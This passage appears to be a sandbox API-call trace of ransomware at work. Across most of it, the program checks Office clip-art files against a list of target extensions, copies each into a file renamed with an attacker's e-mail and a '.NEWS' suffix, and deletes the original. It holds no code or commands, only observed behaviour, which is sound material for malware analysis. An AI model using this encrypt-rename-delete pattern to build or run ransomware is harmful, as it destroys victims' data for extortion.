Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.162] lstrlenW (lpString=".1cd") returned 4 [0078.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.162] lstrlenW (lpString=".jpg") returned 4 [0078.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.162] lstrlenW (lpString=".doc") returned 4 [0078.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString=".docx") returned 5 [0078.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.162] lstrlenW (lpString=".pdf") returned 4 [0078.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString=".xls") returned 4 [0078.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.162] lstrlenW (lpString=".xlsx") returned 5 [0078.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.162] lstrlenW (lpString=".ppt") returned 4 [0078.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.162] lstrlenW (lpString=".zip") returned 4 [0078.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.162] lstrlenW (lpString=".rar") returned 4 [0078.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString=".bz2") returned 4 [0078.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString=".7z") returned 3 [0078.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.163] lstrlenW (lpString=".dbf") returned 4 [0078.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.163] lstrlenW (lpString=".1cd") returned 4 [0078.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.163] lstrlenW (lpString=".jpg") returned 4 [0078.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.163] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.163] lstrlenW (lpString="BD09031_.WMF") returned 12 [0078.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.676] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=47786) returned 1 [0078.676] CloseHandle (hObject=0x33c) returned 1 [0078.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0078.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.677] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.677] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.677] GetLastError () returned 0x0 [0078.677] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0078.680] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0078.681] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.681] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.681] SetEndOfFile (hFile=0x388) returned 1 [0078.682] CloseHandle (hObject=0x388) returned 1 [0078.684] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.684] SetEndOfFile (hFile=0x33c) returned 1 [0078.685] CloseHandle (hObject=0x33c) returned 1 [0078.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0078.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.686] lstrlenW (lpString=".doc") returned 4 [0078.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.686] lstrlenW (lpString=".docx") returned 5 [0078.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.686] lstrlenW (lpString=".pdf") returned 4 [0078.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.686] lstrlenW (lpString=".xls") returned 4 [0078.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.686] lstrlenW (lpString=".xlsx") returned 5 [0078.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.686] lstrlenW (lpString=".ppt") returned 4 [0078.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.686] lstrlenW (lpString=".zip") returned 4 [0078.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.686] lstrlenW (lpString=".rar") returned 4 [0078.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.686] lstrlenW (lpString=".bz2") returned 4 [0078.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.687] lstrlenW (lpString=".7z") returned 3 [0078.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.687] lstrlenW (lpString=".dbf") returned 4 [0078.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.687] lstrlenW (lpString=".1cd") returned 4 [0078.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.687] lstrlenW (lpString=".jpg") returned 4 [0078.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.687] lstrlenW (lpString=".doc") returned 4 [0078.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.687] lstrlenW (lpString=".docx") returned 5 [0078.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.687] lstrlenW (lpString=".pdf") returned 4 [0078.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.687] lstrlenW (lpString=".xls") returned 4 [0078.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.687] lstrlenW (lpString=".xlsx") returned 5 [0078.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.687] lstrlenW (lpString=".ppt") returned 4 [0078.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.687] lstrlenW (lpString=".zip") returned 4 [0078.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.687] lstrlenW (lpString=".rar") returned 4 [0078.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.688] lstrlenW (lpString=".bz2") returned 4 [0078.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.688] lstrlenW (lpString=".7z") returned 3 [0078.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.688] lstrlenW (lpString=".dbf") returned 4 [0078.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.688] lstrlenW (lpString=".1cd") returned 4 [0078.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0078.688] lstrlenW (lpString=".jpg") returned 4 [0078.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.688] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0078.688] lstrlenW (lpString="BD10972_.GIF") returned 12 [0078.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.688] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=20189) returned 1 [0078.688] CloseHandle (hObject=0x33c) returned 1 [0078.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0078.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.689] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.689] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.689] GetLastError () returned 0x0 [0078.689] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4edd, lpOverlapped=0x0) returned 1 [0078.691] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0078.692] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.692] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.692] SetEndOfFile (hFile=0x388) returned 1 [0078.693] CloseHandle (hObject=0x388) returned 1 [0078.694] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.694] SetEndOfFile (hFile=0x33c) returned 1 [0078.695] CloseHandle (hObject=0x33c) returned 1 [0078.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0078.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.696] lstrlenW (lpString=".doc") returned 4 [0078.696] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.696] lstrlenW (lpString=".docx") returned 5 [0078.696] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0078.696] lstrlenW (lpString=".pdf") returned 4 [0078.696] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.696] lstrlenW (lpString=".xls") returned 4 [0078.696] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.696] lstrlenW (lpString=".xlsx") returned 5 [0078.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0078.696] lstrlenW (lpString=".ppt") returned 4 [0078.696] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.696] lstrlenW (lpString=".zip") returned 4 [0078.696] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.696] lstrlenW (lpString=".rar") returned 4 [0078.696] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.696] lstrlenW (lpString=".bz2") returned 4 [0078.696] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.696] lstrlenW (lpString=".7z") returned 3 [0078.696] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.696] lstrlenW (lpString=".dbf") returned 4 [0078.696] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.696] lstrlenW (lpString=".1cd") returned 4 [0078.696] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.696] lstrlenW (lpString=".jpg") returned 4 [0078.696] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.696] lstrlenW (lpString=".doc") returned 4 [0078.696] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.696] lstrlenW (lpString=".docx") returned 5 [0078.697] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0078.697] lstrlenW (lpString=".pdf") returned 4 [0078.697] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.697] lstrlenW (lpString=".xls") returned 4 [0078.697] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.697] lstrlenW (lpString=".xlsx") returned 5 [0078.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0078.697] lstrlenW (lpString=".ppt") returned 4 [0078.697] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.697] lstrlenW (lpString=".zip") returned 4 [0078.697] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.697] lstrlenW (lpString=".rar") returned 4 [0078.697] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.697] lstrlenW (lpString=".bz2") returned 4 [0078.697] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.697] lstrlenW (lpString=".7z") returned 3 [0078.697] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.697] lstrlenW (lpString=".dbf") returned 4 [0078.697] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.697] lstrlenW (lpString=".1cd") returned 4 [0078.697] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0078.697] lstrlenW (lpString=".jpg") returned 4 [0078.697] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.698] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0078.698] lstrlenW (lpString="BD19563_.GIF") returned 12 [0078.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.698] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=20454) returned 1 [0078.698] CloseHandle (hObject=0x33c) returned 1 [0078.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0078.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.698] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.698] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.699] GetLastError () returned 0x0 [0078.699] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0078.701] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0078.702] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.702] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.702] SetEndOfFile (hFile=0x388) returned 1 [0078.703] CloseHandle (hObject=0x388) returned 1 [0078.704] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.704] SetEndOfFile (hFile=0x33c) returned 1 [0078.705] CloseHandle (hObject=0x33c) returned 1 [0078.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0078.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString=".doc") returned 4 [0078.706] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.706] lstrlenW (lpString=".docx") returned 5 [0078.706] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0078.706] lstrlenW (lpString=".pdf") returned 4 [0078.706] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.706] lstrlenW (lpString=".xls") returned 4 [0078.706] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.706] lstrlenW (lpString=".xlsx") returned 5 [0078.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0078.706] lstrlenW (lpString=".ppt") returned 4 [0078.706] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString=".zip") returned 4 [0078.706] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.706] lstrlenW (lpString=".rar") returned 4 [0078.706] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.706] lstrlenW (lpString=".bz2") returned 4 [0078.706] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.706] lstrlenW (lpString=".7z") returned 3 [0078.706] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString=".dbf") returned 4 [0078.706] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString=".1cd") returned 4 [0078.706] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString=".jpg") returned 4 [0078.706] 